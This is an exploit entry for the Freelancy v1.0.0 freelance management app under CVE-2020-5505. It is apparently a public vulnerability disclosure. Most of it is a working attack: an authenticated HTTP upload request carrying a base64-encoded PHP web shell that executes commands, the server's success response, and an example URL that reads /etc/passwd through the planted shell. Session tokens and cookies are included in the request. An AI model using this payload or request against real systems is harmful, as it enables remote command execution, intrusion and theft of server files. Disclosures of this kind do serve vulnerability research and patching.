Share
# Exploit Title: Freelancy - Freelance Management App v1.0.0 - RCE (Authenticated) Arbitrary File Download   
# Date: 03-01-2019   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://vaaip.com/  
# Software Link: https://codecanyon.net/item/freelancy-freelance-project-management-application/25288636  
# Software: Freelancy - Freelance Management App  
# Product Version: v1.0.0  
# Vulernability Type: Code Injection  
# Vulenrability: Remote Code Execution ( RCE )  
# CVE : CVE-2020-5505  
  
# Description :  
# Freelancy v1.0.0 allows remote command execution via  
# the "file":"data:application/x-php;base64 substring (in conjunction with  
# "type":"application/x-php"} to the /api/files/ URI.  
  
  
# RCE Example :  
  
https://SERVER/storage/file/FileNAME.php?cmd=cat%20/etc/passwd  
  
# HTTP Request :  
  
POST /api/files/ HTTP/1.1  
Host: SERVER  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://SERVER/files  
X-Requested-With: XMLHttpRequest  
Content-Type: application/json;charset=utf-8  
Authorization: Bearer 8f7f4b6e-68db-4e2b-b33d-401460fdd00c  
X-XSRF-TOKEN: eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ==  
Content-Length: 274  
Connection: close  
Cookie: XSRF-TOKEN=eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ%3D%3D; freelancy_session=eyJpdiI6InZPQXk2b0dsaTN6S01QbExpTEJRd2c9PSIsInZhbHVlIjoiSENnQ2RIcVVQTFR1SW5WYTR5RUpmS01jV2RmN3F0ZXorYytNNnNPMGpza1U1akQyTWxDRUxpQjE5TXNpK0pCcCIsIm1hYyI6IjM4MjNiY2Y3NGE0ODM1YWJiYjBlOTA3ZDNkMDkxZjE5OTE5NmRhZjJmNzE3ZmIzZTBlNGIwZjMwZTNiZmEzZTUifQ%3D%3D  
  
{"title":"Arbitrary File Upload","description":"Shell","file":"data:application/x-php;base64,PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=","type":"application/x-php"}  
  
# HTTP Response :  
  
HTTP/1.1 201 Created  
Server: nginx/1.14.0 (Ubuntu)  
Content-Type: application/json  
Connection: close  
Cache-Control: no-cache, private  
Date: Fri, 03 Jan 2020 05:21:25 GMT  
X-RateLimit-Limit: 60  
X-RateLimit-Remaining: 58  
X-XSS-Protection: 1; mode=block  
X-Content-Type-Options: nosniff  
Content-Length: 350  
  
{"uuid":"FileNAME","title":"Arbitrary File Upload","description":"Shell","path":"public\/file\/FileNAME.php","url":"https:\/\/SERVER\/storage\/file\/FileNAME.php","user_id":1,"updated_at":"2020-01-03 05:21:25","created_at":"2020-01-03 05:21:25","id":16}